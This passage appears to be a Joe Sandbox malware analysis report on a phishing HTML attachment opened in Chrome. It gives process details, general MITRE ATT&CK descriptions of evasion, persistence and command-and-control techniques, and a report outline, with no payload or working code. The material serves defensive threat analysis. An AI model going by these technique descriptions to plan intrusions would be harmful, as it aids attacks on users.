2025-03-06 13:39:09 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-06 13:39:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:38:24
Start date:	06/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\FULLPDFPAYRECEIPTCONFIRMATION_attach.htm"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:38:27
Start date:	06/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1976,i,17354272506343118746,4459017973618972213,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
FULLPDFPAYRECEIPTCONFIRMATION_attach.htm